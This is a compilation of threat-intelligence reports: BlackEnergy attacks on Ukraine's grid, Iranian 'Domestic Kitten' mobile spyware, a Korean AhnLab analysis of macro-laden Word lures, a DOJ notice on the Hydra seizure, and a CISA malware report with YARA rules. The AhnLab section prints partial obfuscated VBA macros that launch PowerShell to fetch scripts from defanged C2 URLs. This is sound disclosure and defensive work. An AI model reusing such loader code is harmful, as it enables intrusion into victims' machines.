For some of the victims, attacks in 2015 started in February. The attackers sent out spear-phishing messages that didn’t contain any malicious objects. Instead, the emails contained HTML content with a link to a .PNG file located on a remote server, so that the attackers would receive a notification that the email had been delivered and opened by the target.
During the next few months, the attackers were sending spear-phishing emails that contained malicious attachments – specifically Microsoft Office files with malicious macros, and PowerPoint files. Once such a PowerPoint file was opened, it displayed a security warning to the victim about potentially malicious content. If the user allowed this content, then PowerPoint made an attempt to create and execute a malicious .JAR file, which tried to launch the BlackEnergy dropper.
On 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber attack against three energy companies has been confirmed by the Ukrainian government and by the DHS. While some security experts are skeptical about any involvement of the BlackEnergy malware in the power outage incident, we should say that this malware was indeed detected in Ukrainian energy companies. It is likely that attackers didn’t use the BlackEnergy malware to cause the outage itself, but the malware was definitely used for the preparation of power outage attacks.
## TACTICS, TOOLS AND PROCEDURES
In this section, we will examine the different tactics, tools, and procedures used by the BlackEnergy group at each stage of the attack.
### Entry Point and Initial Phase
The BlackEnergy group makes heavy use of spear-phishing emails. The attached file that leads to compromise takes a variety of forms; we have seen the use of Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits for Microsoft Word, PowerPoint files, including zero-day exploits, and straightforward executable binaries.
### Reconnaissance and Lateral Movement
As with a number of modern, sophisticated threats, the BlackEnergy malware has a modular architecture. The core component of BlackEnergy does not provide the attackers with much functionality: it is able merely to download and execute a binary or shell command, uninstall itself, modify internal settings, or load additional modules.
The BlackEnergy group may use different approaches for spear-phishing attacks. In some cases, we observed the attackers mass-mailing spear-phishing messages to a number of employees in targeted organizations. Alternatively, attackers may select just a few email addresses and target those addresses only.
## CONCLUSION
The perpetrators behind BlackEnergy have caused the first documented act of cyber sabotage against a mass civilian population. The BlackEnergy attacks in Ukraine have been taking place at the time of an armed conflict, which makes it an exceptionally sensitive issue. Given the geopolitical situation in the region and the types of victims targeted in the attacks, political motives are very likely. Ukrainian officials were quick to point an accusing finger at Russia, and many others – including security companies – followed with similar allegations.
Whoever stands behind the BlackEnergy attacks, we can expect to see more in the future. We will continue monitoring the situation for new developments. |
# Domestic Kitten: An Iranian Surveillance Operation
Chinese strategist Sun Tzu, Italian political philosopher Machiavelli, and English philosopher Thomas Hobbes all justified deceit in war as a legitimate form of warfare. Preceding them all, however, were some in the Middle East who had already internalized and implemented this strategy to great effect, and continue to do so today.
Recent investigations by Check Point researchers reveal an extensive and targeted attack that has been taking place since 2016 and, until now, has remained under the radar due to the artful deception of its attackers towards their targets. Through the use of mobile applications, those behind the attack use fake decoy content to entice their victims to download such applications, which are in fact loaded with spyware, to then collect sensitive information about them. Interestingly, these targets include Kurdish and Turkish natives and ISIS supporters. Most interesting of all, though, is that all these targets are actually Iranian citizens.
## What Information is Collected?
Considering the nature of the target, the data collected about these groups provides those behind the campaign with highly valuable information that will no doubt be leveraged in further future action against them. Indeed, the malware collects data including contact lists stored on the victim’s mobile device, phone call records, SMS messages, browser history and bookmarks, geo-location of the victim, photos, surrounding voice recordings, and more.
## Who is Behind the Attack?
While the exact identity of the actor behind the attack remains unconfirmed, current observations of those targeted, the nature of the apps, and the attack infrastructure involved lead us to believe this operation is of Iranian origin. In fact, according to our discussions with intelligence experts familiar with the political discourse in this part of the world, Iranian government entities, such as the Islamic Revolutionary Guard Corps (IRGC), Ministry of Intelligence, Ministry of Interior, and others, frequently conduct extensive surveillance of these groups.
Indeed, these surveillance programs are used against individuals and groups that could pose a threat to the stability of the Iranian regime. These could include internal dissidents and opposition forces, as well as ISIS advocates and the Kurdish minority settled mainly in Western Iran.
While our investigation is still in progress, the research below reveals the full extent of these targeted attacks, its infrastructure and victims, and the possible political story behind it. In the meantime, we have dubbed this operation ‘Domestic Kitten’ in line with the naming of other Iranian APT attacks.
## Data Collection via Mobile Applications
Victims are first lured into downloading applications which are believed to be of interest to them. The applications our researchers discovered included an ISIS branded wallpaper changer, “updates” from the ANF Kurdistan news agency, and a fake version of the messaging app, Vidogram.
Regarding the ISIS-themed application, its main functionality is setting wallpapers of ISIS pictures, and therefore seems to be targeting the terror organization’s advocates. Curiously, its Arabic name is grammatically incorrect.
With regards to the ANF News Agency app, while ANF is a legitimate Kurdish news website, its app has been fabricated by the attackers to pose as the legitimate app in order to deceive their targets.
Due to the names and content that is offered by the above-mentioned applications, we are led to believe that specific political groups and users, mainly ISIS supporters and the Kurdish ethnic group, are targeted by the operation. However, when most of the victims are actually Iranian citizens, it raises more pertinent questions about who may be behind the attack. Due to the attack infrastructure, reviewed below, and its consistency with previous investigations of state-sponsored Iranian operations covered by Check Point researchers, we were led to believe that Iranian government agencies may well be behind the campaign.
## Technical Analysis
A closer look at each of the applications used in the campaign shows them to have the same certificate that was issued in 2016. This certificate is associated with the e-mail address ‘telecom2016@yahoo.com’. Unfortunately, not much is known about this e-mail address, as it was not used to register any domain names or to launch attacks in the past.
Another unique characteristic of the applications used, though, is that all of the samples analyzed have several classes that are under a misspelled package name, “andriod.browser”. These classes are seen to be in charge of data exfiltration, collecting sensitive information from the victim’s device. Such information includes:
- SMS/MMS messages
- Phone call records
- Contacts list
- Browser history and bookmarks
- External storage
- Application list
- Clipboard content
- Geo-location and camera photos
Interestingly, they also collect surrounding voice recordings. All of the stolen data is then sent back to C&C servers using HTTP POST requests. Additionally, one of the applications contacts firmwaresystemupdate.com, a newly registered website that was seen to resolve to an Iranian IP address at first, but then switched to a Russian address.
The rest of the applications contact IP addresses directly, which, unlike the previous domain, are base64 encoded and XORed. Although these IP addresses were contacted directly, they are newly registered domains that resolve to each of the IP addresses and they all follow the same pattern of a first name-surname naming convention.
Each victim then receives a unique device UUID (a UUID is the encoded value of the device’s android_id), which appears at the beginning of each log that is sent back to the attacker, with the title of each log having the same structure: UUID_LogDate_LogTime.log. When a log is created for a victim, some basic information is then collected and documented prior to the logging of phone call details. In addition, all the logs use a unique delimiter “~~~” to separate between the fields of the stolen data.
The different classes then collect relevant data and add them to such a log that is then zipped. Afterwards, the archive is encrypted using AES, with the device UUID as the encryption key. This information is collected and sent back to C&C servers when the command is received from the attacker. These commands also follow the same structure as the log, as it uses the same delimiter, and can include things such as “Get File”, “Set Server”, “Get Contacts”, and more.
As a result of all the above, this glance into the inner workings of this attack infrastructure therefore allowed us to form a precise idea about how wide this attack is and the victims targeted.
## Victim Distribution
Having analyzed the full extent of the operation, as well as some extensive information about the attacked devices and the log files collected, we understood that around 240 users have so far fallen victim to this surveillance campaign. In addition, due to careful documentation of the campaign by its creators, we were able to learn that over 97% of its victims are Iranian, consistently aligning with our estimation that this campaign is of Iranian origin.
In addition to the Iranian targets discovered, we also found victims from Afghanistan, Iraq, and Great Britain. Interestingly, the log documentation includes the name of the malicious application used to intercept the victims’ data, as well as an Application Code Name field. This field includes a short description of the app, which leads us to believe that this is a field used by the attackers to instantly recognize the application used by the victim. Observed code names include ‘Daesh4’ (ISIS4), ‘Military News’, ‘Weapon2’, ‘Poetry Kurdish’.
While the number of victims and their characteristics are detailed above, the number of people affected by this operation is actually much higher. This is due to the fact that the full contact list stored in each victim’s mobile device, including full names and at least one of their phone numbers, was also harvested by the attackers. In addition, due to phone calls, SMS details, as well as the actual SMS messages, also recorded by the attackers, the private information of thousands of totally unrelated users has also been compromised.
## Indicators of Compromise
- c168f3ea7d0e2cee91612bf86c5d95167d26e69c
- 0fafeb1cbcd6b19c46a72a26a4b8e3ed588e385f
- f1355dfe633f9e1350887c31c67490d928f4feec
- d1f70c47c016f8a544ef240487187c2e8ea78339
- 162.248.247.172
- 190.2.144.140
- 190.2.145.145
- 89.38.98.49
- firmwaresystemupdate.com
- stevenwentz.com
- ronaldlubbers.site
- georgethompson.space |
# 한국정치외교 학술 및 정책자문위원 약력 악성 워드문서 유포
2021년 7월 2일 ASEC 분석팀에서는 아래와 같이 2차례에 걸쳐 ‘사례비 지급 의뢰서’, ‘하계 학술대회 약력 작성 양식’ 제목의 워드 문서 악성코드가 유포 중임을 소개하였다. 유사한 공격 형태를 모니터링 하던 중, 지난 6월과 7월 1일에도 동일한 제작자에 의해 새로운 워드 문서가 유포된 정황을 확인하였다.
## 새로 포착된 악성 워드 문서 제목
- 민주평통-한국정치외교사학회 공동 학술 회의 프로그램 (최종본).docx – 6월 추가 확보
- [남북회담본부 정책자문위원] 약력 작성 양식.docx – 7월 1일 추가 확보
## 기존 동일유형으로 소개된 악성 워드 블로그 내용
- 타겟형 공격 <사례비지급 의뢰서> 악성 워드문서 유포 (6월 9일 ASEC블로그)
- 하계학술대회 약력 서식파일로 위장한 워드 악성코드 유포 중 (6월 30일 ASEC블로그)
- 정상 엑셀/워드 문서로 위장한 악성 코드 (5월 24일 ASEC블로그)
7월 1일 확인된 유포 파일명은 ‘[남북회담본부 정책자문위원] 약력 작성 양식.docx’이며, 문서 내의 External 링크를 통해서 외부 dotm 매크로 포함 워드 문서파일을 다운로드 받는 구조이다.
## InterKoreanSummit.dotm 파일의 매크로 코드
실제 악성 행위를 수행하는 매크로 코드를 갖고 있는 InterKoreanSummit.dotm 파일에는 아래와 같은 난독화된 코드가 존재한다. 해당 매크로는 지난 5월 24일 정상 엑셀/워드 문서로 위장한 악성 코드에 사용된 매크로와 유사한 형태를 지니고 있다.
```vb
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
eifhhdfasfiedf
aksjdkjaskf
End Sub
Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject("Shell.Application")
dfgdfjiejfjdshaj = "tlsiapowtlsiaertlsiastlsiahetlsialltlsia.etlsiatlsiaxtlsiae"
fjdjkasf = "tlsiajdsladkf"
fjdjkasf = Left(fjdjkasf, 5)
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, fjdjkasf, "")
hdfksallasjkdlaf = "$atlsiatlsiatlsia='tlsiaC:tlsiatlsia\wtlsiatlsiaintlsiatlsiadotlsiatlsiawstlsiatlsia\ttlsiaetls"
hdfksallasjkdlaf = Replace(hdfksallasjkdlaf, fjdjkasf, "")
...
aksfkjaskjfksnkf = "tlsiatlsia$tlsiactlsiatlsia;$tlsiadtlsia=[tlsiatlsiaIOtlsia.tlsiatlsiaFitlsiale]tlsiatlsia:RtlsiatlsiaeatlsiadAtlsialtlsiatlsialTtl $tlsiad;tlsiaitlsiaetlsiax tlsia$tlsiae"
aksfkjaskjfksnkf = Replace(aksfkjaskjfksnkf, fjdjkasf, "")
skdjfksjkfjkdsfj = hdfksallasjkdlaf + ndkflajdkfjskdjfl + salfnxkfdlsjafkj + sjdfkjaslalsfial + aksfkjaskjfksnkf
djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, skdjfksjkfjkdsfj, "", "open", 0
End Function
```
매크로 실행 시 C2(hxxp://ripzi.getenjoyment.net/le/eh.txt)에 접속하여 추가 스크립트를 다운로드하며, C:\windows\temp\DMI5CA06.tmp 파일을 kill 하는 행위를 수행한다. 다운로드된 스크립트는 아래와 같이 지난 5월 “정상 엑셀/워드 문서로 위장한 악성 코드”에서 확인된 스크립트와 동일한 코드로 C2 주소에 만 차이가 존재한다.
또한, 지난 6월에는 해당 유형의 악성 파일이 ‘민주평통-한국정치외교사학회 공동 학술 회의 프로그램 (최종본).docx’ 명으로 유포되었음을 확인하였다. 해당 파일 내부에 존재하는 External 링크는 아래와 같다.
해당 주소로부터 다운로드된 Seminarfinal.dotm 파일에는 위에서 설명한 InterKoreanSummit.dotm 파일과 유사한 매크로가 존재한다. 아래는 Seminarfinal.dotm에 존재하는 난독화된 매크로 코드 중 일부이다.
```vb
Private Sub Document_Open()
eifhhdfasfiedf
End Sub
Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject("Shell.Application")
Dim dfgdfjiejfjdshaj As String
Dim yhjhfjdhfdhfuesk(10) As String
dfgdfjiejfjdshaj = "tuwhnptuwhnotuwhnwtuwhnetuwhnrtuwhnstuwhnhtuwhnetuwhnltuwhnltuwhn.tuwhnetuwhnxtuwhnetuwhn"
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, "tuwhn", "")
yhjhfjdhfdhfuesk(0) = "tuwhn[tuwhnstuwhnttuwhnrtuwhnituwhnntuwhngtuwhn]tuwhn$tuwhnatuwhn=tuwhn{tuwhn(tuwhnNtuwhnetuwhnOtuwhnbtuwhnjtuwhnetuwhnctuwhnttuwhn "
dfjdiafjlij = Replace(yhjhfjdhfdhfuesk(0), "tuwhn", "")
...
djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, dfjdiafjlij, "", "open", 0
End Function
```
해당 매크로 역시 C2(hxxp://likel.atwebpages.com/bu/ma.txt)에 접속하여 추가 스크립트를 다운로드한 다. 다운로드 된 스크립트는 앞서 설명한 hxxp://ripzi.getenjoyment.net/le/eh.txt에 존재하는 스크립트와 동일하다.
해당 파일들은 모두 User명이 ‘Naeil_영문시작’인 사용자로부터 수집되었다. 이는 지난 ‘[** 하계학술대회]_양력.doc’와 ‘사례비지급 의뢰서’의 작성자와 일치하는 것으로 보아 같은 공격자로부터 생성된 파일로 추정된다.
최근 이와 같이 특정 사용자를 대상으로 한 악성코드가 활발히 유포되고 있다. 대부분 동일한 공격자로부터 생성된 것으로 추정되어 사용자들의 주의가 필요하다. 출처가 불분명한 사용자로부터 전송된 메일에 첨부된 파일 및 링크는 실행을 자제하고 매크로 실행을 지양해야 한다.
안랩 V3 제품군에서는 해당 타겟형 공격 악성 워드 문서를 아래와 같이 탐지하고 있다.
## 파일 진단
- Downloader/XML.External
- Downloader/DOC.Generic
## IOC
- hxxp://chels.mypressonline.com/Package/2006/relationships/InterKoreanSummit.dotm
- hxxp://likel.atwebpages.com/officeDocument/2006/relationships/attachedTemplate/Seminarfinal.dotm
- hxxp://ripzi.getenjoyment.net/le/eh.txt
- hxxp://likel.atwebpages.com/bu/ma.txt
연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다. |
# Justice Department Investigation Leads to Shutdown of Largest Online Darknet Marketplace
**April 5, 2022**
**Department of Justice**
**Office of Public Affairs**
The Justice Department announced today the seizure of Hydra Market (Hydra), the world’s largest and longest-running darknet market. In 2021, Hydra accounted for an estimated 80% of all darknet market-related cryptocurrency transactions, and since 2015, the marketplace has received approximately $5.2 billion in cryptocurrency.
The seizure of the Hydra servers and cryptocurrency wallets containing $25 million worth of bitcoin was made this morning in Germany by the German Federal Criminal Police (the Bundeskriminalamt), in coordination with U.S. law enforcement.
“The Justice Department will be relentless in our efforts to hold accountable those who violate our laws – no matter where they are located or how they try to hide their crimes,” said Attorney General Merrick B. Garland. “Together with our German law enforcement partners, we have seized the infrastructure of the world’s largest darknet market, but our work is far from over. We will continue to work alongside our international and interagency partners to disrupt and dismantle darknet markets, and to hold those who commit their crimes on the dark web accountable for their acts.”
“The Department of Justice will not allow darknet markets and cryptocurrency to be a safe haven for money laundering and the sale of hacking tools and services,” said Deputy Attorney General Lisa O. Monaco. “Our message should be clear: we will continue to go after darknet markets and those who exploit them. Together with our partners in Germany and around the world, we will continue our work to disrupt the ecosystem that allows these criminal actors to operate.”
Hydra was an online criminal marketplace that enabled users in mainly Russian-speaking countries to buy and sell illicit goods and services, including illegal drugs, stolen financial information, fraudulent identification documents, and money laundering and mixing services, anonymously and outside the reach of law enforcement. Transactions on Hydra were conducted in cryptocurrency, and Hydra’s operators charged a commission for every transaction conducted on Hydra.
In conjunction with the shutdown of Hydra, the department also announced criminal charges against Dmitry Olegovich Pavlov, 30, a resident of Russia, for conspiracy to distribute narcotics and conspiracy to commit money laundering, in connection with his operation and administration of the servers used to run Hydra.
“This coordinated action sends a clear message to anyone attempting to operate or support an online criminal enterprise under the cover of the dark web,” said U.S. Attorney Stephanie M. Hinds for the Northern District of California. “The dark web is not a place criminals can operate with impunity or hide from U.S. law enforcement, and we will continue to use our sophisticated tools and expertise to dismantle and disable darknet markets. This action also underscores the importance of international law enforcement collaboration. We thank German authorities and the Bundeskriminalamt, the German Federal Criminal Police Office, for its valued assistance in this case.”
“The darknet has been a key online marketplace for the sale of deadly drugs worldwide,” said Administrator Anne Milgram of the Drug Enforcement Administration (DEA). “The availability of illicit substances and money laundering services offered by Hydra threaten the safety and health of communities far and wide. Criminals on the darknet hide behind the illusion of anonymity, but DEA and our partners across the globe are watching. We will continue to investigate, expose, and take action against criminal networks no matter where they operate. I commend the extraordinary investigative efforts of DEA’s Miami Counternarcotic Cyber Investigations Task Force, Cyber Support Section, and Special Operations Division, and the teamwork from federal and international law enforcement partners that led to this action.”
“The Hydra darknet site provided a platform for criminals who thought they were beyond the reaches of law enforcement to buy and sell illegal drugs and services,” said Chief Jim Lee of IRS-Criminal Investigation. “Our Cyber Crimes Unit once again used their cryptocurrency tracking expertise to help take down this site and identify the criminal behind it. Denying criminals a space to operate freely to conduct their nefarious activities is the first step in stopping this activity from happening altogether.”
“The successful seizure of Hydra, the world's largest darknet marketplace, dismantled digital infrastructures which had enabled a wide range of criminals – including Russian cyber criminals, the cryptocurrency tumblers and money launderers that support them and others, and drug traffickers,” said FBI Director Christopher Wray. “Today’s announcement is a testament to the strength and potency of our law enforcement partnerships here and around the world – and another example of our strategy to broadly target the entire illicit ecosystem that drives and enables crime.”
“The U.S. Postal Inspection Service is dedicated to protecting the United States mail from being used to transport illegal drugs and illicit goods available on the darknet,” said Chief Postal Inspector Gary R. Barksdale of the U.S. Postal Inspection Service National Headquarters. “The seizure of the criminal marketplace, Hydra Market, reflects the effective collaboration of law enforcement to stop criminal enterprises from their illicit activity. The Postal Inspection Service will continue to work with our federal partners to end these criminal organizations regardless of where they are.”
“The dismantling of the Hydra Market, the dark web’s largest supplier of illicit goods and services, sends a message to these electronic criminal kingpins that think they can operate with impunity,” said Special Agent in Charge Anthony Salisbury of Homeland Security Investigations (HSI) Miami. “HSI will continue to work with our U.S. and international law enforcement partners to target these transnational criminal organizations who attempt to manipulate the anonymity of the dark web to push their poison all over the world.”
According to the indictment, vendors on Hydra could create accounts on the site to advertise their illegal products, and buyers could create accounts to view and purchase the vendors’ products. Hydra vendors offered a variety of illicit drugs for sale, including cocaine, methamphetamine, LSD, heroin, and other opioids. The vendors openly advertised their drugs on Hydra, typically including photographs and a description of the controlled substance. Buyers rated the sellers and their products on a five-star rating system, and the vendors’ ratings and reviews were prominently displayed on the Hydra site.
Hydra also featured numerous vendors selling false identification documents. Users could search for vendors selling their desired type of identification document – for example, U.S. passports or drivers’ licenses – and filter or sort by the item’s price. Many vendors of false identification documents offered to customize the documents based on photographs or other information provided by the buyers.
Numerous vendors also sold hacking tools and hacking services through Hydra. Hacking vendors commonly offered to illegally access online accounts of the buyer’s choosing. In this way, buyers could select their victims and hire professional hackers to gain access to the victims’ communications and take over the victims’ accounts.
Hydra vendors also offered a robust array of money laundering and so-called “cash-out” services, which allowed Hydra users to convert their bitcoin (BTC) into a variety of forms of currency supported by Hydra’s wide array of vendors. In addition, Hydra offered an in-house mixing service to launder and then process vendors’ withdrawals. Mixing services allowed customers, for a fee, to send bitcoin to designated recipients in a manner that was designed to conceal the source or owner of the bitcoin. Hydra’s money laundering features were so in demand that some users would set up shell vendor accounts for the express purpose of running money through Hydra’s bitcoin wallets as a laundering technique.
Starting in or about November 2015, Pavlov is alleged to have operated a company, Promservice Ltd., also known as Hosting Company Full Drive, All Wheel Drive, and 4x4host.ru, that administered Hydra’s servers (Promservice). During that time, Pavlov, through his company Promservice, administered Hydra’s servers, which allowed the market to operate as a platform used by thousands of drug dealers and other unlawful vendors to distribute large quantities of illegal drugs and other illicit goods and services to thousands of buyers, and to launder billions of dollars derived from these unlawful transactions.
As an active administrator in hosting Hydra’s servers, Pavlov allegedly conspired with the other operators of Hydra to further the site’s success by providing the critical infrastructure that allowed Hydra to operate and thrive in a competitive darknet market environment. In doing so, Pavlov is alleged to have facilitated Hydra’s activities and allowed Hydra to reap commissions worth millions of dollars generated from the illicit sales conducted through the site.
The DEA’s Miami Field Division, FBI, IRS-CI, U.S. Postal Inspection Service, and HSI investigated the case. The U.S. investigation was conducted with support and coordination provided by the Department of Justice’s multi-agency Special Operations Division and the Joint Criminal Opioid and Darknet Enforcement (JCODE) Team.
Trial Attorneys C. Alden Pelker and Christen M. Gallagher of the Criminal Division’s Computer Crime and Intellectual Property Section and Assistant U.S. Attorneys Claudia A. Quiroz and Robert S. Leach for the Northern District of California are prosecuting the case. In addition to the critically important efforts of the German Federal Criminal Police, significant assistance was provided by the Justice Department’s Office of International Affairs and the U.S. Attorney’s Office for the District of Columbia. Assistance was also provided by the Justice Department’s National Cryptocurrency Enforcement Team.
An indictment is merely an allegation, and the defendant is presumed innocent until proven guilty beyond a reasonable doubt in a court of law. |
# North Korean Remote Access Tool: ECCENTRICBANDWAGON
**Notification**
This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of the information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE—Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed.
## Summary
### Description
This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD). Working with U.S. Government partners, DHS, FBI, and DoD identified Remote Access Tool (RAT) malware used by the North Korean government. This malware variant has been identified as ECCENTRICBANDWAGON. The U.S. Government refers to malicious activity by the North Korean government as HIDDEN COBRA. FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks for further network exploitation. DHS, FBI, and DoD are distributing this MAR to enable network defense and reduce exposure to North Korean government cyber activity.
This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions, and recommended mitigation techniques. Users should flag activity associated with the malware and report the activity to the Cybersecurity and Infrastructure Security Agency (CISA) or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation.
This report looks at malware samples known as ECCENTRICBANDWAGON. This family of malware is used as a reconnaissance tool. The samples are used for keylogging and screen capture functionality. The samples are very similar but differ slightly in the location that they store the key logs and other variants have RC4 encrypted strings within the executable and conduct a simple, ineffective cleanup, whereas others do not.
### Submitted Files (4)
- 32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8 (PSLogger.dll)
- 9ea5aa00e0a738b74066c61b1d35331170a9e0a84df1cc6cef58fd46a8ec5a2e (PSLogger.dll)
- c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec (PSLogger.dll)
- efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e (PSLogger.dll)
## Findings
**Tags**
HIDDEN-COBRA, backdoor, keylogger, reconnaissance, screen-capture, spyware, trojan
### Details
**Name:** PSLogger.dll
**Size:** 138240 bytes
**Type:** PE32+ executable (DLL) (GUI) x86-64, for MS Windows
**MD5:** d45931632ed9e11476325189ccb6b530
**SHA1:** 081d5bd155916f8a7236c1ea2148513c0c2c9a33
**SHA256:** efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e
**SHA512:** fd1b7ea95f66a660e9183c22755ac7d741823ba45a009bf9929546213308f89fd9ce8fcc2e70b56e427f0daa1b0965817d45dd9c2f55984
**ssdeep:** 3072:t+N02CVLOJdCPQhVNRTzcb/YrgHdnG6ioaa5IR:sO2qO3CPkRTz8YrgHdGBoa1
**Entropy:** 6.096739
### Antivirus
- Ahnlab: Trojan/Win64.Agent
- Antiy: Trojan[Spy]/Win64.Agent
- Avira: TR/Spy.Agent.ftmjo
- BitDefender: Trojan.GenericKD.40337042
- Cyren: W64/Trojan.WFEO-4014
- ESET: a variant of Win64/Spy.Agent.AP trojan
- Emsisoft: Trojan.GenericKD.40337042 (B)
- Filseclab: W64.Spy.Agent.AP.feaw
- Ikarus: Trojan-Spy.Win64.Agent
- K7: Spyware (00538f7c1)
- Lavasoft: Trojan.GenericKD.40337042
- McAfee: RDN/Generic PWS.nq
- Microsoft Security Essentials: Trojan:Win32/Tiggre!plock
- NANOAV: Trojan.Win64.Mlw.fgbvfi
- NetGate: Trojan.Win32.Malware
- Sophos: Troj/Spy-AUK
- Symantec: Trojan.Crobaruko
- Systweak: malware.agent
- TrendMicro: TSPY64_.F7315F7E
- TrendMicro House Call: TSPY64_.F7315F7E
- Vir.IT eXplorer: Backdoor.Win32.Lazarus.BGM
- VirusBlokAda: TrojanSpy.Win64.Agent
- Zillya!: Trojan.Agent.Win64.2215
### YARA Rules
```
rule CISA_3P_10301706_01 : HiddenCobra ECCENTRICBANDWAGON backdoor keylogger reconnaissance screencapture spyware trojan
{
meta:
Author = "CISA Trusted Third Party"
Incident = "10301706.r1.v1"
Date = "2020-08-11"
Actor = "Hidden Cobra"
Category = "Backdoor Keylogger Reconnaissance Screen-Capture Spyware Trojan"
Family = "ECCENTRICBANDWAGON"
Description = "Detects strings in ECCENTRICBANDWAGON proxy tool"
MD5_1 = "d45931632ed9e11476325189ccb6b530"
SHA256_1 = "efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e"
MD5_2 = "acd15f4393e96fe5eb920727dc083aed"
SHA256_2 = "32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8"
MD5_3 = "34404a3fb9804977c6ab86cb991fb130"
SHA256_3 = "c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec"
MD5_4 = "3122b0130f5135b6f76fca99609d5cbe"
SHA256_4 = "9ea5aa00e0a738b74066c61b1d35331170a9e0a84df1cc6cef58fd46a8ec5a2e"
strings:
$sn1 = { FB 19 9D 57 [1-6] 9A D1 D6 D1 [1-6] 42 9E D8 FD }
$sn2 = { 4F 03 43 83 [1-6] 48 E0 1A 2E [1-6] 3B FD FD FD }
$sn3 = { 68 56 68 9A [1-12] 4D E1 1F 25 [1-12] 3F 38 54 0F [1-12] 73 30 62 A1 [1-12] DB 39 BD 56 }
$sn4 = "%s\\chromeupdater_ps_%04d%02d%02d_%02d%02d%02d_%03d_%d" wide ascii nocase
$sn5 = "c:\\windows\\temp\\TMP0389A.tmp" wide ascii nocase
condition:
any of them
}
```
### ssdeep Matches
100 efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e
### PE Metadata
**Compile Date:** 2018-04-27 22:53:06-04:00
**Import Hash:** f0faa229b086ea5053b4268855f0c8ba
### PE Sections
| MD5 | Name | Raw Size | Entropy |
| --- | ---- | -------- | ------- |
| 09745305cbad67b17346f0f6dba1e700 | header | 1024 | 2.729080 |
| 5c2242b56a31d64b6ce82671d97a82a4 | .text | 92160 | 6.415763 |
| 0d022eff24bc601d97d2088b4179bd18 | .rdata | 31232 | 4.934652 |
| 578e5078ccb878f1aa9e309b4cfc2be5 | .data | 6144 | 2.115729 |
| 09924946b47ef078f7e9af4f4fcb59dc | .pdata | 5632 | 4.803615 |
| 7ead0113095bc6cb3b2d82f05fda25f3 | .rsrc | 512 | 5.115767 |
| 7937397e0a31cdc87f5b79074825e18e | .reloc | 1536 | 2.931043 |
### Description
This file is a 64-bit dynamic link library (DLL). This malware uses 3 files that will be used to store the key logs, screen shots, and log intervals. The logs can be found in C:\windows\temp\TMP0389A.tmp.
**--Begin Log Files--**
1. Keylog: %temp%\GoogleChrome\chromeupdate_pk
2. Screenshots: %temp%\GoogleChrome\chromeupdate_ps_<YYYMMDD>_<HHMMSS>_<sss>_<ThreadID>
3. Log intervals: C:\ProgramData\2.dat
**--End Log Files--**
The malware creates 3 threads to populate the log files listed above. Each one will continue to execute until a global kill variable is set to 1. This variable is set to 1 by calling an export called “Process” from within this DLL. When the export is called, the threads will return and the program will exit.
### Additional Details
**Tags**
HIDDEN-COBRA, backdoor, keylogger, reconnaissance, screen-capture, trojan
**Name:** PSLogger.dll
**Size:** 138243 bytes
**Type:** PE32+ executable (DLL) (GUI) x86-64, for MS Windows
**MD5:** acd15f4393e96fe5eb920727dc083aed
**SHA1:** c92529097cad8996f3a3c8eb34b56273c29bdce5
**SHA256:** 32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8
**SHA512:** 82a946c2d0c9fffdd23d8e6b34028ac1b0368d4fd78302268aa4d954bead8a82ea15873a28d69946dceaf80fcafd0c52aeb59f47df5a029
**ssdeep:** 3072:t+N02CVLOJdCPQhVNRTzcb/YrgHdnG6ioaa5IR:sO2qO3CPkRTz8YrgHdGBoa1
**Entropy:** 6.096652
### Antivirus
- Ahnlab: Trojan/Win64.Agent
- Antiy: Trojan[Spy]/Win64.Agent
- Avira: TR/Spy.Agent.ftmjo
- BitDefender: Trojan.GenericKD.40337042
- Comodo: Malware
- Cyren: W64/Trojan.WFEO-4014
- ESET: a variant of Win64/Spy.Agent.AP trojan
- Emsisoft: Trojan.GenericKD.40337042 (B)
- Ikarus: Trojan-Spy.Win64.Agent
- K7: Spyware (005506c81)
- Lavasoft: Trojan.GenericKD.40337042
- Microsoft Security Essentials: Trojan:Win32/Tiggre!plock
- NANOAV: Trojan.Win64.Mlw.fgbtfv
- Symantec: Trojan.Crobaruko
- Systweak: malware.agent
- Vir.IT eXplorer: Backdoor.Win32.Lazarus.BGM
- VirusBlokAda: TrojanSpy.Win64.Agent
- Zillya!: Trojan.Agent.Win64.2215
### Recommendations
